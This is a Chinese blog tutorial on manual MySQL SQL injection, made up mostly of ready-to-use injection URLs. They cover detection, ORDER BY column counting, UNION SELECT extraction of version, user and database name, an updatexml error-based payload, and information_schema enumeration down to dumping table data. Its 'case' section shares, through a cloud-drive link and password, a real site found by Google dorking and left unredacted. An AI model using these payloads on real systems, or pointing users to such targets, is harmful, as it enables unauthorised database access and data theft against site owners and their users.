MYSQL手工注入基础

颓废 2019年5月19日06:44:31评论483 views字数 1758阅读5分51秒阅读模式
摘要

1.判断是否存在注入
2.注释符
3.表字段数
4.判断数据库版本及服务信息
5.查询数据库
6.案例
7.参考

1.判断是否存在注入
2.注释
3.表字段数
4.判断数据库版本及服务信息
5.查询数据库
6.案例
7.参考

1.判断是否存在注入(常用)

' / and  or

2.注释符

# 字符从行尾 -- (注意--后面有一个空格) /* */ 结束序列不一定在同一行中,因此该语法允许注释跨越多行。

 

3.表字段数

通常使用“order by N”,通过不断变换N的值,至刚好返回正常的网页,可得到当前表的字段数。

 

www.xxxxx.com/test?id=12 order by 8-- 正确  www.xxxxx.com/test?id=12 and 1=2 union select 1,2,3,4,5,6,7,8-- 显示2个位置。

 

4.判断数据库版本及服务信息

www.xxxxx.com/test?id=12  and 1=2 union select 1,version(),3,4,5,6,7,8--   Mysql数据库的版本  www.xxxxx.com/test?id=12+union+select+1,concat(user(),0x20,database(),0x20,version()),3,4,5,6,7,8 --   数据库用户,数据库名,数据库版本  www.xxxxx.com/test?id=12 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)    数据库用户名  MYSQL数据库函数 User() 查看用户  database() --查看数据库名称  Version() --查看数据库版本  @@datadir --数据库路径 @@version_compile_os--操作系统版本  system_user() --系统用户名  current_user()--当前用户名  session_user()--连接数据库的用户名 

5.查询数据库

www.xxxxx.com/test?id=12 and 1=2 union select 1,group_concat(distinct table_schema),3,4,5,6,7,8 from information_schema.columns--      查询当前数据库名  www.xxxxx.com/test?id=12 and 1=2 union select 1,group_concat(distinct table_name),3,4,5,6,7,8 from+information_schema.tables where table_schema=database()--  查询当前  www.xxxxx.com/test?id=12 and (select * from (select * from test as a join test as b) as c);  在不知道字段的情况下查看当前数据库 数据表名  https://www.bejson.com/convert/ox2str/  16进制转换工具  www.xxxxx.com/test?id=12  and 1=2 union select 1,group_concat(distinct column_name),3,4,5,6,7,8 from information_schema.columns where table_name=0x 16进制--   查询字段  www.xxxxx.com/test?id=12 and 1=2 union select 1,group_concat(查询出来的字段),3,4,5,6,7,8 from+downloads -- 查询数据

6.案例

网站是通过谷歌语法找的,没有打码,禁止破坏。。。。

链接: https://pan.baidu.com/s/1boWWQvH 密码: 4phq

 

7.参考:

k1p4ss.sinaapp.com/?p=108

blog.sycsec.com/?p=1005

www.cnblogs.com/cnsanshao/p/3364600.html

www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/#QuickDetection
www.poluoluo.com/server/201706/547394.html

MYSQL官网文档: https://pan.baidu.com/s/1i5y6cvV 密码: 9wc9

作者:小雨

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日06:44:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MYSQL手工注入基础http://cn-sec.com/archives/67529.html

发表评论

匿名网友 填写信息